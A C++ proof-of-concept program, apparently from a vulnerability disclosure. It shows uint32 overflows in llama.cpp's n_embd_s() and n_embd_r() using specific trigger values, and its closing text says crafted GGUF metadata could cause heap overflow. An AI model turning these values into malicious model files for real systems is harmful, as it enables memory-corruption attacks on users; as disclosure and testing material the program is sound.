| |
| |
| |
| |
| |
| |
| |
| |
| |
| |
| |
| |
| |
| |
| |
| |
|
|
| #include "llama-hparams.h" |
| #include <cstdio> |
| #include <cstdint> |
| #include <cstring> |
|
|
| int main() { |
| printf("================================================================\n"); |
| printf("EMPIRICAL PROOF: uint32_t overflow in llama_hparams::n_embd_s()\n"); |
| printf("================================================================\n\n"); |
|
|
| |
| { |
| printf("--- Test 1: Mamba path (line 169: return ssm_d_state * ssm_d_inner) ---\n"); |
|
|
| llama_hparams hp = {}; |
| memset(&hp, 0, sizeof(hp)); |
| hp.n_layer = 1; |
|
|
| |
| hp.ssm_d_state = 1073741825; |
| hp.ssm_d_inner = 4; |
|
|
| |
| hp.wkv_head_size = 0; |
| hp.n_embd_head_kda = 0; |
|
|
| uint32_t result = hp.n_embd_s(); |
|
|
| |
| uint64_t correct = (uint64_t)hp.ssm_d_state * hp.ssm_d_inner; |
|
|
| printf(" ssm_d_state = %u\n", hp.ssm_d_state); |
| printf(" ssm_d_inner = %u\n", hp.ssm_d_inner); |
| printf(" n_embd_s() returned: %u\n", result); |
| printf(" Correct value: %llu\n", (unsigned long long)correct); |
| printf(" OVERFLOW: %llu -> %u (buffer is %llux too small!)\n", |
| (unsigned long long)correct, result, |
| (unsigned long long)(correct / result)); |
| printf(" Status: %s\n\n", result < correct ? "VULNERABLE (overflow confirmed)" : "SAFE"); |
| } |
|
|
| |
| { |
| printf("--- Test 2: RWKV6 path (line 158: return n_embd * wkv_head_size) ---\n"); |
|
|
| llama_hparams hp = {}; |
| memset(&hp, 0, sizeof(hp)); |
| hp.n_layer = 1; |
|
|
| hp.n_embd = 65537; |
| hp.wkv_head_size = 65537; |
|
|
| uint32_t result = hp.n_embd_s(); |
| uint64_t correct = (uint64_t)hp.n_embd * hp.wkv_head_size; |
|
|
| printf(" n_embd = %u\n", hp.n_embd); |
| printf(" wkv_head_size = %u\n", hp.wkv_head_size); |
| printf(" n_embd_s() returned: %u\n", result); |
| printf(" Correct value: %llu\n", (unsigned long long)correct); |
| printf(" OVERFLOW: %llu -> %u (buffer is %llux too small!)\n", |
| (unsigned long long)correct, result, |
| (unsigned long long)(correct / result)); |
| printf(" Status: %s\n\n", result < correct ? "VULNERABLE (overflow confirmed)" : "SAFE"); |
| } |
|
|
| |
| { |
| printf("--- Test 3: Kimi KDA path (line 165: return n_embd_head_kda * n_embd_head_kda * n_head()) ---\n"); |
|
|
| llama_hparams hp = {}; |
| memset(&hp, 0, sizeof(hp)); |
| hp.n_layer = 1; |
| hp.wkv_head_size = 0; |
|
|
| hp.n_embd_head_kda = 65536; |
| |
| hp.n_head_arr[0] = 1; |
|
|
| uint32_t result = hp.n_embd_s(); |
| uint64_t correct = (uint64_t)hp.n_embd_head_kda * hp.n_embd_head_kda * hp.n_head_arr[0]; |
|
|
| printf(" n_embd_head_kda = %u\n", hp.n_embd_head_kda); |
| printf(" n_head = %u\n", hp.n_head_arr[0]); |
| printf(" n_embd_s() returned: %u\n", result); |
| printf(" Correct value: %llu\n", (unsigned long long)correct); |
| if (result == 0) { |
| printf(" OVERFLOW: wraps to ZERO! ggml_new_tensor_1d allocates 0 bytes!\n"); |
| } else { |
| printf(" OVERFLOW: %llu -> %u\n", (unsigned long long)correct, result); |
| } |
| printf(" Status: %s\n\n", result < correct ? "VULNERABLE (overflow confirmed)" : "SAFE"); |
| } |
|
|
| |
| { |
| printf("--- Test 4: n_embd_r() Mamba path (line 152) ---\n"); |
|
|
| llama_hparams hp = {}; |
| memset(&hp, 0, sizeof(hp)); |
| hp.n_layer = 1; |
| hp.wkv_head_size = 0; |
| hp.n_shortconv_l_cache = 0; |
| hp.n_embd_head_kda = 0; |
|
|
| hp.ssm_d_conv = 4; |
| hp.ssm_d_inner = 4; |
| hp.ssm_n_group = 1; |
| hp.ssm_d_state = 715827883; |
|
|
| uint32_t result = hp.n_embd_r(); |
| |
| uint64_t sub = (uint64_t)hp.ssm_d_inner + 2ULL * hp.ssm_n_group * hp.ssm_d_state; |
| uint64_t correct = ((uint64_t)hp.ssm_d_conv - 1) * sub; |
|
|
| printf(" ssm_d_conv = %u\n", hp.ssm_d_conv); |
| printf(" ssm_d_inner = %u\n", hp.ssm_d_inner); |
| printf(" ssm_n_group = %u\n", hp.ssm_n_group); |
| printf(" ssm_d_state = %u\n", hp.ssm_d_state); |
| printf(" n_embd_r() returned: %u\n", result); |
| printf(" Correct value: %llu\n", (unsigned long long)correct); |
| printf(" Status: %s\n\n", result < correct ? "VULNERABLE (overflow confirmed)" : "SAFE"); |
| } |
|
|
| |
| { |
| printf("--- Test 5: Double overflow simulation (allocation site lines 94-95) ---\n"); |
| printf(" Code: hparams.n_embd_s() * mem_size\n"); |
| printf(" Both are uint32_t, multiplication overflows before widening to int64_t\n\n"); |
|
|
| uint32_t n_embd_s_val = 65536; |
| uint32_t mem_size = 65537; |
|
|
| uint32_t result = n_embd_s_val * mem_size; |
| uint64_t correct = (uint64_t)n_embd_s_val * mem_size; |
|
|
| printf(" n_embd_s() = %u\n", n_embd_s_val); |
| printf(" mem_size = %u\n", mem_size); |
| printf(" uint32 mul = %u\n", result); |
| printf(" Correct mul = %llu\n", (unsigned long long)correct); |
| printf(" Status: %s\n\n", result < correct ? "VULNERABLE (double overflow)" : "SAFE"); |
| } |
|
|
| printf("================================================================\n"); |
| printf("CONCLUSION: All overflow paths in n_embd_s()/n_embd_r() are\n"); |
| printf("confirmed vulnerable. An attacker crafting GGUF metadata with\n"); |
| printf("these values causes undersized buffer allocation in\n"); |
| printf("llama_memory_recurrent (lines 94-95), leading to heap overflow\n"); |
| printf("when recurrent state data is written during inference.\n"); |
| printf("================================================================\n"); |
|
|
| return 0; |
| } |
|
|